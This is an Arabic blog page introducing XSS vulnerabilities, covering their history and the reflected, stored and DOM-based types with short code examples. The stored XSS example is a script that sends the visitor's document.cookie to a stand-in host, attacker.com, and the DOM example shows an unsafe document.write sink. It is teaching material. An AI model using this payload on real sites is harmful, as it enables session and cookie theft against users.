ثغرة XSS
موسوعة ثغرات XSS الشاملة
تصميم متجاوب يعمل على جميع الأجهزة - مدونة محمد مختار الحسن البكاي
مقدمة شاملة عن ثغرات XSS
ثغرات XSS (Cross-Site Scripting) تعتبر من أكثر الثغرات الأمنية انتشارًا في تطبيقات الويب. في هذه الموسوعة الشاملة، سنغطي جميع جوانب هذه الثغرة بدءًا من الأساسيات ووصولًا إلى التقنيات المتقدمة للاستغلال والوقاية.
// مثال أساسي على ثغرة XSS <script>alert('XSS Vulnerability!');</script>
التطور التاريخي لثغرات XSS
ظهرت أولى حالات XSS في أواخر التسعينيات مع انتشار تطبيقات الويب الديناميكية. على مر السنين، تطورت تقنيات الاستغلال بشكل كبير، مما أدى إلى ظهور أنواع متعددة من هذه الثغرة.
الأنواع الرئيسية لثغرات XSS
1. XSS المنعكس (Reflected XSS)
هذا النوع يحدث عندما يعكس التطبيق مدخلات المستخدم مباشرة في الاستجابة دون التخلص من الأحرف الخطرة أو ترميزها بشكل صحيح.
// مثال على Reflected XSS http://example.com/search?query=<script>alert(1)</script>
2. XSS المخزن (Stored XSS)
هذا النوع أكثر خطورة حيث يتم تخزين الكود الخبيث في قاعدة البيانات ويتم تنفيذه عند زيارة الصفحة من قبل أي مستخدم.
// مثال على Stored XSS في نموذج تعليق <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>
3. XSS المستند إلى DOM (DOM-based XSS)
يحدث هذا النوع عندما يقوم JavaScript على جانب العميل بمعالجة البيانات بطريقة غير آمنة.
// مثال على DOM-based XSS document.write(location.hash.substring(1));
التعليقات